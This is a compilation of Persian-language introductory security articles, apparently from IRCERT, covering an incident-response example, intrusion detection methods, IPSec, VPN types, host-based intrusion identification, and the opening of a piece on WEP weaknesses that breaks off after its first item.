· ازکار افتادن ناخواسته یا عدم پذیرش سرویس

· استفاده غیرمجاز از یک سیستم به هدف پردازش یا ذخیره سازی دیتا

· تغییراتی در مشخصات سخت افزار یا نرم افزار بدون آگاهی یا اجازه یا دخالت صاحب آن.

فعالیت شبکه یا میزبان که بالقوه امنیت کامپیوتر را تهدید می کند نیز می تواند بعنوان رویداد امنیتی کامپیوتری تعریف گردد.

برخورد با رویداد

منظور از این عبارت نحوه مقابله و اقداماتی است که در هنگام وقوع یک مسأله امنیتی انجام می گیرد. در حقیقت این اقدامات به سه بخش تقسیم می شود. گزارش رویداد، تحلیل رویداد و واکنش به رویداد.

اهمیت واکنش به رویدادهای امنیتی سیستم ها، کمتر از تشخیص آنها نیست. اقداماتی که شما بدنبال تشخیص یک رویداد انجام می دهید، نه تنها عملیات سازمان را تحت تأثیر قرار می دهد، بلکه ممکن است باعث تغییرات بسیاری در آینده چنین روندهایی و وضعیت امنیتی خودتان گردد.

در این مقاله به برخورد با رویدادهای امنیتی نه از دیدگاه تکنیکی بلکه از دیدگاه عواملی مانند عوامل انسانی، سیاست برخورد و زمان پرداخته می شود. برای اینکه بتوان بیشتر با نحوه برخورد یک سازمان به یک رویداد امنیتی آشنا شد، به مثالی در این باره می پردازیم.

مثالی از واکنش به یک رویداد در یک سازمان بزرگ

این مثال فقط برای نشان دادن تلاش های ممکن برای واکنش ارائه شده است و یک مدل کلی نیست.

هنگام مشاهده ثبت وقایع مربوط به نفوذ در ساعت ۲ بامداد، پرسنل ۲۴ ساعته مراقبت از شبکه کشف می کنند که حمله ای با موفقیت انجام شده است.

برای بسیاری از سازمان ها، واکنش فوری، قطع شبکه برای تأخیر یا قطع افشای اطلاعات بیشتر خواهد بود، اما ما سعی داریم که از چنین واکنشی پرهیز کنیم و پرسنل بخش مراقبت نیز از این قضیه مطلع هستند. درعوض، چک لیست هایی را که در اختیار دارند برای برخورد با این نوع رویداد به اجرا می گذارند.

قدم اول خبرکردن و ارائه گزارشی مختصر به رئیس بخش امنیت سیستمها (یا نماینده اش) است. تا این فرد از خواب بیدار گردد و از حمله مطلع گردد، چهار دقیقه از اطلاع دهی اولیه سپری شده است.

با اطلاعاتی که موجود است، نماینده امنیت shutdown کامل سیستم را نمی پذیرد، اما اجازه فراخوانی یک گروه امداد را می دهد. در حالیکه نماینده بخش امنیت به سمت محل حرکت می کند، پرسنل بخش مراقبت شروع به این فراخوانی می کند. نمایندگانی از بخشهایی چون عملیات شبکه، قانونی، مهندسی، اجرایی و مدیریت آگاه شده اند و به محل فراخوانده شده اند. مجری قانون محلی نیز خبر شده است و ثبت رویدادها به ترتیب وقوع آغاز می شود.

حالا از اخطار اولیه ۲۸ دقیقه گذشته است.

نماینده بخش امنیت که اولین فرد باخبر شده است، اولین کسی است که می رسد. این شخص تنظیم و آماده سازی مرکز امداد را آغاز می کند. کیف امداد باز است که در آن یک لپ تاپ، باتری اضافه، لامپ، ابزار، چک لیست ها و صفحات یادداشت برای تمام اعضای تیم امداد، و ابزار گوناگون دیگر وجود دارد. کپی هایی از اطلاعات موجود نیز برای توزیع بین اعضای تیم و مدیریت ارشد آن آماده شده است. ۵۷ دقیقه از زمان اخطار اولیه گذشته است.

سایر اعضای گروه به صورت پراکنده در طول این زمان وارد شده اند و پرسنل بخش مراقبت نیز تحقیق بیشتری در مورد نفوذ انجام داده است. بررسی اولیه آشکار می کند که نفوذگر به سیستم یک کاربر وارد شده است، اما هنوز به نقاط دیگر شبکه پیشروی نکرده است. حمله از طریق استفاده یک کاربر از یک اتصال dial-up که مورد تأیید نبوده صورت گرفته است. نفوذ واقعی هشت ساعت قبل از کشف اولیه صورت گرفته است.

کل گروه ۹۲ دقیقه بعد از اولین اخطار گرد هم می آیند. تمام اعضاء با سرعت در محل حاضر و شروع به فکر کردن و نقشه کشیدن و ارائه راه حل شده اند. مناظرات به موافقت هایی منجر می شود. سیستم مورد نفوذ از شبکه جدا خواهد شد و عملیات تعیین و تشخیص آغاز خواهد شد. خلاصه ای برای مدیر ارشد تهیه و مراحل اولیه کامل می شوند. ۱۰۸ دقیقه گذشته است.

نماینده عملیات شبکه، مسؤول قطع کردن سیستم مذکور می شود. نماینده اجرایی ثبت وقایع را روی لپ تاپ به روز و بررسی مجدد می کند. این فرد با ثبت لحظه به لحظه از تمام رویدادها، بعنوان نقطه مرکزی تمام فعالیت ها و ارتباطات گروه عمل می کند. نماینده قانونی با آگاه شدن از وضعیت موجود و راهنمایی هایی داده شده به وی، به خانه برمی گردد تا ابتدای صبح به محل برگردد. پرسنل بخش مهندسی و امنیت، اطلاعاتی را که تا کنون جمع آوری شده و شامل دیتای حاصل از سیستم تحت نفوذ قرار گرفته است، بررسی می کنند. این اطلاعات روی بستر یک شبکه مجزا بررسی و تحلیل می شود تا نفوذگر، ابزار حمله و روش هایی ممکن برای بستن آسیب پذیری در کل سازمان مشخص شود.

با سپری شدن ۱۴۱ دقیقه از آغاز، گروه برای مرور و به روز رسانی پیشرفت کار دوباره دور هم جمع می شوند. مشخص شده است که نفوذگر از یک IP بیگانه جعلی از طریق اتصال dial-up استفاده کرده است و فقط قادر به دستیابی به همان سیستم بوده است. بررسی کامل شبکه احتیاج به این دارد که سرورها از شبکه جدا شوند و این عملیات ۶ ساعت زمان نیاز دارد. گروه با مشورت و تصویب مدیریت ارشد، تصمیم به این بررسی می گیرد اما بعد از بسته شدن سازمان در انتهای روز کاری بعد.

هنگامی که روز کاری آغاز می شود، فعالیت ها به بیرون فاش می شود و فردی که سیستمش مورد نفوذ قرار گرفته مورد مصاحبه قرار می گیرد و سیستم مورد نفوذ پاکسازی می گردد و به افراد ارشد گزارشها بصورت خلاصه ارائه می شود. بهرحال، عملیات امداد به اوج خود می رسد و مرتفع سازی آغاز می شود. تا ساعت ۲۳ رویداد برطرف شده است و گزارش نهایی روز بعد آماده خواهد شد.

کسانی هستند که به فوریت مستندسازی تهدید بوجود آمده و عملیات آنی اصرار می ورزند که باید ۲ ساعت اضافه نیز برای آنها دید. برای سازمان شما، ممکن است چنین موردی رخ دهد، و شما بخواهید اولین گام بعد از تعیین رویداد، جداسازی یکطرفه و ناگهانی از شبکه و سیستم ها باشد. اما در این حالت خاص، مزیت انتخاب یک روند سیستماتیک، حفظ عملیات عادی برای یک روز کامل کاری بود، (بجای خاموش کردن کل سیستم سازمان برای یک روز کاری) که نتیجه آن نیم دوجین افراد خسته، چند ساعت کار جبرانی و اضافه کاری و خاموش بودن تنها یک سیستم در طول یک روز کاری بود. از نظر افراد درگیر این عملیات، هزینه ای که توسط این روش صرفه جویی شد، ارزش ریسک را داشت.


﻿ IRCERT - مقالات - (Intrusion Detection)مقدمه ای بر تشخیص نفوذ

مقدمه ای بر تشخیص نفوذ (Intrusion Detection)

تشخیص نفوذ عبارت است از پردازه تشخیص تلاشهایی که جهت دسترسی غیرمجاز به یک شبکه یا کاهش کارایی آن انجام می شوند.در تشخیص نفوذ باید ابتدا درک صحیحی از چگونگی انجام حملات پیدا کرد. سپس بنابر درک بدست آمده، روشی دو مرحله ای را برای متوقف کردن حملات برگزید. اول این که مطمئن شوید که الگوی عمومی فعالیتهای خطرناک تشخیص داده شده است. دوم این که اطمینان حاصل کنید که با حوادث مشخصی که در طبقه بندی مشترک حملات نمی گنجند، به سرعت رفتار می شود.به همین دلیل است که بیشتر سیستم های تشخیص نفوذ (IDS) بر مکانیزمهایی جهت بروزرسانی نرم افزارشان متکی هستند که جهت جلوگیری از تهدیدات شبکه به اندازه کافی سریع هستند. البته تشخیص نفوذ به تنهایی کافی نیست و باید مسیر حمله را تا هکر دنبال کرد تا بتوان به شیوه مناسبی با وی نیز برخورد کرد.

انواع حملات شبکه ای با توجه به طریقه حمله

یک نفوذ به شبکه معمولا یک حمله قلمداد می شود. حملات شبکه ای را می توان بسته به چگونگی انجام آن به دو گروه اصلی تقسیم کرد. یک حمله شبکه ای را می توان با هدف نفوذگر از حمله توصیف و مشخص کرد. این اهداف معمولا از کار انداختن سرویس (DOS یا Denial of Service) یا دسترسی غیرمجاز به منابع شبکه است.

1- حملات از کار انداختن سرویس

در این نوع حملات ، هکر استفاده از سرویس ارائه شده توسط ارائه کننده خدمات برای کاربرانش را مختل می کند. در این حملات حجم بالایی از درخواست ارائه خدمات به سرور فرستاده می شود تا امکان خدمات رسانی را از آن بگیرد. در واقع سرور به پاسخگویی به درخواستهای بی شمار هکر مشغول می شود و از پاسخگویی به کاربران واقعی باز می ماند.

2- حملات دسترسی به شبکه

در این نوع از حملات، نفوذگر امکان دسترسی غیرمجاز به منابع شبکه را پیدا می کند و از این امکان برای انجام فعالیتهای غیرمجاز و حتی غیرقانونی استفاده می کند. برای مثال از شبکه به عنوان مبدا حملات DOS خود استفاده می کند تا درصورت شناسایی مبدا، خود گرفتار نشود. دسترسی به شبکه را می توان به دو گروه تقسیم کرد.

الف– دسترسی به داده : در این نوع دسترسی ، نفوذگر به داده موجود بر روی اجزاء شبکه دسترسی غیرمجاز پیدا می کند. حمله کننده می تواند یک کاربر داخلی یا یک فرد خارج از مجموعه باشد. داده های ممتاز و مهم معمولا تنها در اختیار بعضی کاربران شبکه قرار می گیرد و سایرین حق دسترسی به آنها را ندارند. در واقع سایرین امتیاز کافی را جهت دسترسی به اطلاعات محرمانه ندارند، اما می توان با افزایش امتیاز به شکل غیر مجاز به اطلاعات محرمانه دسترسی پیدا کرد. این روش به تعدیل امتیاز یا Privilege Escalation مشهور است.

ب- دسترسی به سیستم : این نوع حمله خطرناکتر و بدتر است و طی آن حمله کننده به منابع سیستم و دستگاهها دسترسی پیدا می کند. این دسترسی می تواند شامل اجرای برنامه ها بر روی سیستم و به کار گیری منابع آن در جهت اجرای دستورات حمله کننده باشد. همچنین حمله کننده می تواند به تجهیزات شبکه مانند دوربینها ، پرینترها و وسایل ذخیره سازی دسترسی پیدا کند. حملات اسب ترواها ، Brute Force و یا استفاده از ابزارهایی جهت تشخیص نقاط ضعف یک نرم افزار نصب شده بر روی سیستم از جمله نمونه های قابل ذکر از این نوع حملات هستند.

فعالیت مهمی که معمولا پیش از حملات DoS و دسترسی به شبکه انجام می شود، شناسایی یا reconnaissance است. یک حمله کننده از این فاز جهتی افتن حفره های امنیتی و نقاط ضعف شبکه استفاده می کند. این کار می تواند به کمک بعضی ابزارها آماده انجام پذیرد که به بررسی پورتهای رایانه های موجود بر روی شبکه می پردازند و آمادگی آنها را جهت انجام حملات مختلف بر روی آنها بررسی می کنند.

انواع حملات شبکه ای با توجه به حمله کننده

حملات شبکه ای را می توان با توجه به حمله کننده به چهار گروه تقسیم کرد :

1- حملات انجام شده توسط کاربر مورد اعتماد (داخلی) : این حمله یکی از مهمترین و خطرناکترین نوع حملات است، چون از یک طرف کاربر به منابع مختلف شبکه دسترسی دارد و از طرف دیگر سیاستهای امنیتی معمولا محدودیتهای کافی درباره این کاربران اعمال نمی کنند.

2- حملات انجام شده توسط افراد غیر معتمد (خارجی) : این معمولترین نوع حمله است که یک کاربر خارجی که مورد اعتماد نیست شبکه را مورد حمله قرار می دهد. این افراد معمولا سخت ترین راه را پیش رو دارند زیرا بیشتر سیاستهای امنیتی درباره این افراد تنظیم شده اند

3- حملات انجام شده توسط هکرهای بی تجربه : بسیاری از ابزارهای حمله و نفوذ بر روی اینترنت وجود دارند. در واقع بسیاری از افراد می توانند بدون تجربه خاصی و تنها با استفاده از ابزارهای آماده برای شبکه ایجاد مشکل کنند.

4- حملات انجام شده توسط کاربران مجرب : هکرهای با تجربه و حرفه ای در نوشتن انواع کدهای خطرناک متبحرند. آنها از شبکه و پروتکلهای آن و همچنین از انواع سیستم های عمل آگاهی کامل دارند. معمولا این افراد ابزارهایی تولید می کنند که توسط گروه اول به کار گرفته می شوند. آنها معمولا پیش از هر حمله ، آگاهی کافی درباره قربانی خود کسب می کنند.

پردازه تشخیص نفوذ

تا بحال با انواع حملات آشنا شدیم. حال باید چگونگی شناسایی حملات و جلوگیری از آنها را بشناسیم. امروزه دو روش اصلی برای تشخیص نفوذ به شبکه ها مورد استفاده قرار می گیرد:

1- IDS مبتنی بر خلاف قاعده آماری

2- IDS مبتنی بر امضا یا تطبیق الگو

روش اول مبتنی بر تعیین آستانه انواع فعالیتها بر روی شبکه است، مثلا چند بار یک دستور مشخص توسط یک کاربر در یک تماس با یک میزبان (host) اجرا می شود.لذا در صورت بروز یک نفوذ امکان تشخیص آن به علت خلاف معمول بودن آن وجود دارد. اما بسیاری از حملات به گونه ای هستند که نمی توان براحتی و با کمک این روش آنها را تشخیص داد.

در واقع روشی که در بیشتر سیستمهای موفق تشخیص نفوذ به کار گرفته می شود، IDS مبتنی بر امضا یا تطبیق الگو است.منظور از امضا مجموعه قواعدی است که یک حمله در حال انجام را تشخیص می دهد. دستگاهی که قرار است نفوذ را تشخیص دهد با مجموعه ای از قواعد بارگذاری می شود.هر امضا دارای اطلاعاتی است که نشان می دهد در داده های در حال عبور باید به دنبال چه فعالیتهایی گشت. هرگاه ترافیک در حال عبور با الگوی موجود در امضا تطبیق کند، پیغام اخطار تولید می شود و مدیر شبکه را از وقوع یک نفوذ آگاه می کند. در بسیاری از موارد IDS علاوه بر آگاه کردن مدیر شبکه، اتصال با هکر را بازآغازی می کند و یا با کمک یک فایروال و انجام عملیات کنترل دسترسی با نفوذ بیشتر مقابله می کند.

اما بهترین روش برای تشخیص نفوذ ، استفاده از ترکیبی از دو روش فوق است.


﻿ IRCERT - مقالات - IPSecمقدمه ای بر

مقدمه ای بر IPSec

IP Security یا IPSec رشته ای از پروتکلهاست که برای ایجاد VPN مورد استفاده قرار می گیرند. مطابق با تعریف IETF (Internet Engineering Task Force) پروتکل IPSec به این شکل تعریف می شود:

یک پروتکل امنیتی در لایه شبکه تولید خواهد شد تا خدمات امنیتی رمزنگاری را تامین کند. خدماتی که به صورت منعطفی به پشتیبانی ترکیبی از تایید هویت ، جامعیت ، کنترل دسترسی و محرمانگی بپردازد.

در اکثر سناریوها مورد استفاده ،IPSec به شما امکان می دهد تا یک تونل رمزشده را بین دو شبکه خصوصی ایجاد کنید.همچنین امکان تایید هویت دو سر تونل را نیز برای شما فراهم می کند.اما IPSec تنها به ترافیک مبتنی بر IP اجازه بسته بندی و رمزنگاری می دهد و درصورتی که ترافیک غیر IP نیز در شبکه وجود داشته باشد ، باید از پروتکل دیگری مانند GRE در کنار IPSec استفاده کرد.

IPSec به استاندارد de facto در صنعت برای ساخت VPN تبدیل شده است.بسیاری از فروشندگان تجهیزات شبکه ، IPSec را پیاده سازی کرده اند و لذا امکان کار با انواع مختلف تجهیزات از شرکتهای مختلف ، IPSec را به یک انتخاب خوب برای ساخت VPN مبدل کرده است.

انواع IPSec VPN

شیوه های مختلفی برای دسته بندی IPSec VPN وجود دارد اما از نظر طراحی ، IPSec برای حل دو مسئله مورد استفاده قرار می گیرد :

1- اتصال یکپارچه دو شبکه خصوصی و ایجاد یک شبکه مجازی خصوصی

2- توسعه یک شبکه خصوصی برای دسترسی کاربران از راه دور به آن شبکه به عنوان بخشی از شبکه امن

بر همین اساس ، IPSec VPN ها را نیز می توان به دو دسته اصلی تقسیم کرد:

1- پیاده سازی LAN-to-LAN IPSec

این عبارت معمولا برای توصیف یک تونل IPSec بین دو شبکه محلی به کار می رود. در این حالت دو شبکه محلی با کمک تونل IPSec و از طریق یک شبکه عمومی با هم ارتباط برقرار می کنند به گونه ای که کاربران هر شبکه محلی به منابع شبکه محلی دیگر، به عنوان عضوی از آن شبکه، دسترسی دارند. IPSec به شما امکان می دهد که تعریف کنید چه داده ای و چگونه باید رمزنگاری شود.

2- پیاده سازی Remote-Access Client IPSec

این نوع از VPN ها زمانی ایجاد می شوند که یک کاربر از راه دور و با استفاده از IPSec client نصب شده بر روی رایانه اش، به یک روتر IPSec یا Access server متصل می شود. معمولا این رایانه های دسترسی از راه دور به یک شبکه عمومی یا اینترنت و با کمک روش dialup یا روشهای مشابه متصل می شوند. زمانی که این رایانه به اینترنت یا شبکه عمومی متصل می شود، IPSec client موجود بر روی آن می تواند یک تونل رمز شده را بر روی شبکه عمومی ایجاد کند که مقصد آن یک دستگاه پایانی IPSec ،مانند یک روتر، که بر لبه شبکه خصوصی مورد نظر که کاربر قصد ورود به آن را دارد، باشد.

در روش اول تعداد پایانه های IPSec محدود است اما با کمک روش دوم می توان تعداد پایانه ها را به ده ها هزار رساند که برای پیاده سازی های بزرگ مناسب است.

ساختار IPSec

IPSec برای ایجاد یک بستر امن یکپارچه ، سه پروتکل را با هم ترکیب می کند :

1- پروتکل مبادله کلید اینترنتی ( Internet Key Exchange یا IKE )

این پروتکل مسئول طی کردن مشخصه های تونل IPSec بین دو طرف است. وظایف این پروتکل عبارتند از:

ü طی کردن پارامترهای پروتکل

ü مبادله کلیدهای عمومی

ü تایید هویت هر دو طرف

ü مدیریت کلیدها پس از مبادله

IKE مشکل پیاده سازی های دستی و غیر قابل تغییر IPSec را با خودکار کردن کل پردازه مبادله کلید حل می کند. این امر یکی از نیازهای حیاتی IPSecاست. IKE خود از سه پروتکل تشکیل می شود :

ü SKEME : مکانیزمی را برای استفاده از رمزنگاری کلید عمومی در جهت تایید هویت تامین می کند.

ü Oakley : مکانیزم مبتنی بر حالتی را برای رسیدن به یک کلید رمزنگاری، بین دو پایانه IPSec تامین می کند.

ü ISAKMP : معماری تبادل پیغام را شامل قالب بسته ها و حالت گذار تعریف می کند.

IKE به عنوان استاندارد RFC 2409 تعریف شده است. با وجودی که IKE کارایی و عملکرد خوبی را برای IPSec تامین می کند، اما بعضی کمبودها در ساختار آن باعث شده است تا پیاده سازی آن مشکل باشد، لذا سعی شده است تا تغییراتی در آن اعمال شود و استاندارد جدیدی ارائه شود که IKE v2 نام خواهد داشت.

2- پروتکل Encapsulating Security Payload یا ESP

این پروتکل امکان رمزنگاری ، تایید هویت و تامین امنیت داده را فراهم می کند.

3- پروتکل سرآیند تایید هویت (Authentication Header یا AH)

این پروتکل برای تایید هویت و تامین امنیت داده به کار می رود.


﻿ IRCERT - مقالات - (VPN)مقدمه ای بر شبکه خصوصی مجازی

مقدمه ای بر شبکه خصوصی مجازی (VPN)

شبکه خصوصی مجازی یا Virtual Private Network که به اختصار VPN نامیده می شود، امکانی است برای انتقال ترافیک خصوصی بر روی شبکه عمومی. معمولا از VPN برای اتصال دو شبکه خصوصی از طریق یک شبکه عمومی مانند اینترنت استفاده می شود.منظور از یک شبکه خصوصی شبکه ای است که بطور آزاد در اختیار و دسترس عموم نیست. VPN به این دلیل مجازی نامیده می شود که از نظر دو شبکه خصوصی ، ارتباط از طریق یک ارتباط و شبکه خصوصی بین آنها برقرار است اما در واقع شبکه عمومی این کار را انجام می دهد. پیاده سازی VPN معمولا اتصال دو یا چند شبکه خصوصی از طریق یک تونل رمزشده انجام می شود. در واقع به این وسیله اطلاعات در حال تبادل بر روی شبکه عمومی از دید سایر کاربران محفوظ می ماند. VPN را می توان بسته به شیوه پیاده سازی و اهداف پیاده سازی آن به انواع مختلفی تقسیم کرد.

دسته بندی VPN براساس رمزنگاری

VPN را می توان با توجه به استفاده یا عدم استفاده از رمزنگاری به دو گروه اصلی تقسیم کرد:

1- VPNرمزشده : VPN های رمز شده از انواع مکانیزمهای رمزنگاری برای انتقال امن اطلاعات بر روی شبکه عمومی استفاده می کنند. یک نمونه خوب از این VPN ها ، شبکه های خصوصی مجازی اجرا شده به کمک IPSec هستند.

2- VPN رمزنشده : این نوع از VPN برای اتصال دو یا چند شبکه خصوصی با هدف استفاده از منابع شبکه یکدیگر ایجاد می شود. اما امنیت اطلاعات در حال تبادل حائز اهمیت نیست یا این که این امنیت با روش دیگری غیر از رمزنگاری تامین می شود. یکی از این روشها تفکیک مسیریابی است. منظور از تفکیک مسیریابی آن است که تنها اطلاعات در حال تبادل بین دو شبکه خصوصی به هر یک از آنها مسیر دهی می شوند. (MPLS VPN) در این مواقع می توان در لایه های بالاتر از رمزنگاری مانند SSL استفاده کرد.

هر دو روش ذکر شده می توانند با توجه به سیاست امنیتی مورد نظر ، امنیت مناسبی را برای مجموعه به ارمغان بیاورند، اما معمولا VPN های رمز شده برای ایجاد VPN امن به کار می روند. سایر انواع VPN مانند MPLS VPN بستگی به امنیت و جامعیت عملیات مسیریابی دارند.

دسته بندی VPN براساس لایه پیاده سازی

VPN بر اساس لایه مدل OSI که در آن پیاده سازی شده اند نیز قابل دسته بندی هستند. این موضوع از اهمیت خاصی برخوردار است. برای مثال در VPN های رمز شده ، لایه ای که در آن رمزنگاری انجام می شود در حجم ترافیک رمز شده تاثیر دارد. همچنین سطح شفافیت VPN برای کاربران آن نیز با توجه به لایه پیاده سازی مطرح می شود.

1- VPN لایه پیوند داده : با استفاده از VPN های لایه پیوند داده می توان دو شبکه خصوصی را در لایه 2 مدل OSI با استفاده از پروتکلهایی مانند ATM یا Frame Relay به هم متصل کرد.با وجودی که این مکانیزم راه حل مناسبی به نظر می رسد اما معمولا روش ارزنی نیست چون نیاز به یک مسیر اختصاصی لایه 2 دارد. پروتکلهای Frame Relay و ATM مکانیزمهای رمزنگاری را تامین نمی کنند. آنها فقط به ترافیک اجازه می دهند تا بسته به آن که به کدام اتصال لایه 2 تعلق دارد ، تفکیک شود. بنابراین اگر به امنیت بیشتری نیاز دارید باید مکانیزمهای رمزنگاری مناسبی را به کار بگیرید.

2- VPN لایه شبکه : این سری از VPN ها با استفاده از tunneling لایه 3 و/یا تکنیکهای رمزنگاری استفاده می کنند. برای مثال می توان به IPSec Tunneling و پروتکل رمزنگاری برای ایجاد VPN اشاره کرد.مثالهای دیگر پروتکلهای GRE و L2TP هستند. جالب است اشاره کنیم که L2TP در ترافیک لایه 2 تونل می زند اما از لایه 3 برای این کار استفاده می کند. بنابراین در VPN های لایه شبکه قرار می گیرد. این لایه برای انجام رمزنگاری نیز بسیار مناسب است. در بخشهای بعدی این گزارش به این سری از VPN ها به طور مشروح خواهیم پرداخت.

3- VPN لایه کاربرد : این VPN ها برای کار با برنامه های کاربردی خاص ایجاد شده اند. VPN های مبتنی بر SSL از مثالهای خوب برای این نوع از VPN هستند. SSL رمزنگاری را بین مرورگر وب و سروری که SSL را اجرا می کند، تامین می کند.SSH مثال دیگری برای این نوع از VPN ها است.SSH به عنوان یک مکانیزم امن و رمز شده برای login به اجزای مختلف شبکه شناخته می شود. مشکل VPNها در این لایه آن است که هرچه خدمات و برنامه های جدیدی اضافه می شوند ، پشتیبانی آنها در VPN نیز باید اضافه شود.

دسته بندی VPN براساس کارکرد تجاری

VPN را برای رسیدن به اهداف تجاری خاصی ایجاد می شوند. این اهداف تجاری تقسیم بندی جدیدی را برای VPN بنا می کنند .

1- VPN اینترانتی : این سری از VPN ها دو یا چند شبکه خصوصی را در درون یک سازمان به هم متصل می کنند. این نوع از VPN زمانی معنا می کند که می خواهیم شعب یا دفاتر یک سازمان در نقاط دوردست را به مرکز آن متصل کنیم و یک شبکه امن بین آنها برقرار کنیم.

VPN اکسترانتی : این سری از VPN ها برای اتصال دو یا چند شبکه خصوصی از دو یا چند سازمان به کار می روند. از این نوع VPN معمولا برای سناریوهای B2B که در آن دو شرکت می خواهند به ارتباطات تجاری با یکدیگر بپردازند، استفاده می شود.


﻿ IRCERT - شناسایی مزاحم‌ کامپیوتری - مقالات

شناسایی مزاحم‌ کامپیوتری

اگر کامپیوتر شما به اینترنت وصل است همواره در معرض انواع تهدیدات هستید. به عنوان رایج‌ترین مورد می‌توان به امکان آلودگی دستگاه‌ به انواع ویروس‌ها و کرم‌هایی که از طریق اینترنت توزیع می‌شوند اشاره نمود. نرم‌افزارهای جاسوس نمونه دیگری از این دست برنامه‌ها هستند که بر روی دستگاه قرار گرفته، فعالیت‌های کاربر و همینطور اطلاعات شخصی مانند گذرواژه‌ها، اطلاعات مربوط به کارت‌های اعتباری و ... را ثبت کرده و به منتشرکنندگان خود گزارش می‌دهند. نفوذ در سیستم‌های کاربران و انجام اعمال نامطلوب آنان از جمله موارد دیگری است که کامپیوترهای متصل به اینترنت را تهدید می‌نماید. نفوذ به روش‌های مختلفی انجام می‌شود و در بسیاری از مواقع کاربر متوجه این مسئله نمی‌شود. حتی بعضی از نفوذگران ردپای خود را هم پاک می‌کنند به نحوی که حمله به سیستم قابل آشکارسازی نیست.

با این وجود نفوذ کنندگان به سیستم به صورت معمول ردپاهایی از خود باقی می‌گذارند. با وجودی که تشخیص بعضی از ردپاها دشوار است ولی با استفاده از گام‌هایی که در ادامه بیان می‌شوند می‌توان بسیاری از نفوذها را تشخیص داد.

به عنوان اولین گام باید سیستم‌عامل و نرم‌افزارهای موجود در محیطی آزمایشی (مشابه شرایط عملیاتی) توصیف [1] شوند. توصیف به این معناست که عملکرد برنامه‌ها در حال اجرا بررسی شده و موارد مختلفی مانند سرعت، زمان پاسخ، نحوه عمل و غیره به صورت دقیق شناسایی شوند. بنابراین باید برنامه‌ها را اجرا نموده و آنها را در شرایطی مشابه حالت عملیاتی قرار داد، سپس رفتار آنها را به دقت بررسی نمود.

در گام بعدی، باید از نرم‌افزارهای توصیف استفاده نمود. یکی از رایج‌ترین ابزارها برای این کار نرم‌افزار TripWire محصول tripwiresecurity.com است. این نرم‌افزار نسخه‌هایی برای سیستم‌عامل‌های مختلف دارد و متن برنامه بعضی نسخه‌های آن به کاربران عرضه می‌شود. غیر از این نرم‌افزار ابزارهای دیگری نیز وجود دارند که همین عملکرد را نشان می‌دهند. این دسته نرم‌افزارها در رده ابزارهای تشخیص نفوذ host-based قرار می‌گیرند. با جستجو بر روی اینترنت می‌توان برنامه‌های دیگری نیز با عملکرد مشابه یافت.

در نهایت باید همه فایل‌ها، دایرکتوری‌ها، تجهیزات و پیکربندی سیستم شناسایی شده و تغییرات آنها در زمان مورد بررسی قرار گیرند. در محیط آزمایشی کنترل شده، شرایط طبیعی شناسایی می‌شود. به خاطر داشته باشید هرگاه سیستم وارد فاز عملیاتی شود، شرایط طبیعی بهتر شناسایی می‌شوند، زیرا هرچقدر که سیستم‌های تست خوب و قوی طراحی شوند تنها نشان دهنده تخمینی از محیط عملیاتی هستند. باید مجموعه تغییرات جدید را درک کرده و آنها را در توصیف سیستم وارد نمود.

فایل‌ها، دایرکتوری‌ها، تجهیزات و پیکربندی تنها بخشی از توصیف کامل سیستم کامپیوتری هستند. سایر مواردی که باید بررسی شوند به شرح زیر می‌باشند:

  • برنامه‌های در حال اجرا

منابعی که این برنامه‌ها مورد استفاده قرار می‌دهند و زمان اجرای آنها. به عنوان مثال اگر برنامه‌ تهیه کننده نسخه‌های پشتیبان هر روزه در زمان مقرری اجرا می‌شود، آیا این فعالیت طبیعی قلمداد می‌شود؟ در مورد برنامه واژه‌پردازی که مدت زمان زیادی از وقت CPU‌ را اشغال نموده است چطور؟

  • ترافیک شبکه

آیا ایجاد ناگهانی تعداد زیادی اتصال HTTP‌ توسط سرور email‌ طبیعی است؟ افزایش ناگهانی بار سرور وب چگونه ارزیابی می‌شود؟

  • کارایی

آیا سرعت وب سرور کاهش یافته است؟ سرور تراکنش، توان مدیریت چه تعداد تراکنش را دارد؟

  • سیستم عامل

نفوذگذان در سیستم می‌توانند عملکرد سیستم عامل را به گونه‌ای عوض کنند که برنامه‌های کاربردی بدون اینکه تغییر کنند رفتاری متفاوت نشان دهند. تصور کنید یک فراخوانی سیستم عامل که باید منجر به اجرای یک برنامه شود، برنامه دیگری را اجرا نماید.

متاسفانه ابزارهایی که برای بررسی این پارامترها وجود دارند به اندازه نرم‌افزارهایی که فایل‌ها، دایرکتوری‌ها، تجهیزات و پیکربندی را بررسی می‌کنند، رشد نداشته‌اند. با این وجود برای مدیریت هوشیارانه سیستم‌ها باید این پارامترها هم به صورت دقیق در توصیف سیستم قید شوند.

تنها در صورت انجام دقیق موارد فوق و نظارت بر تغییر مشخصات سیستم می‌توان به امن بودن کامپیوتر خود امیدوار بود.

[1] - Characterize


﻿ IRCERT - امنیت در شبکه های بی سیم(بخش هفتم) - مقالات

امنیت در شبکه‌های بی‌سیم

بخش هفتم : ضعف‌های اولیه‌ی امنیتی WEP

در قسمت‌های قبل به سرویس‌های امنیتی استاندارد 802.11 پرداختیم. در ضمنِ ذکر هریک از سرویس‌ها، سعی کردیم به ضعف‌های هریک اشاره‌یی داشته باشیم. در این قسمت به بررسی ضعف‌های تکنیک‌های امنیتی پایه‌ی استفاده شده در این استاندارد می‌پردازیم.

همان‌گونه که گفته شد، عملاً پایه‌ی امنیت در استاندارد 802.11 بر اساس پروتکل WEP استوار است. WEP در حالت استاندارد بر اساس کلیدهای ۴۰ بیتی برای رمزنگاری توسط الگوریتم RC4 استفاده می‌شود، هرچند که برخی از تولیدکننده‌گان نگارش‌های خاصی از WEP را با کلیدهایی با تعداد بیت‌های بیش‌تر پیاده‌سازی کرده‌اند.

نکته‌یی که در این میان اهمیت دارد قائل شدن تمایز میان نسبت بالارفتن امنیت و اندازه‌ی کلیدهاست. با وجود آن که با بالارفتن اندازه‌ی کلید (تا ۱۰۴ بیت) امنیت بالاتر می‌رود، ولی از آن‌جاکه این کلیدها توسط کاربران و بر اساس یک کلمه‌ی عبور تعیین می‌شود، تضمینی نیست که این اندازه تماماً استفاده شود. از سوی دیگر همان‌طور که در قسمت‌های پیشین نیز ذکر شد، دست‌یابی به این کلیدها فرایند چندان سختی نیست، که در آن صورت دیگر اندازه‌ی کلید اهمیتی ندارد.

متخصصان امنیت بررسی‌های بسیاری را برای تعیین حفره‌های امنیتی این استاندارد انجام داده‌اند که در این راستا خطراتی که ناشی از حملاتی متنوع، شامل حملات غیرفعال و فعال است، تحلیل شده است.

حاصل بررسی‌های انجام شده فهرستی از ضعف‌های اولیه‌ی این پروتکل است :

۱. استفاده از کلیدهای ثابت WEP

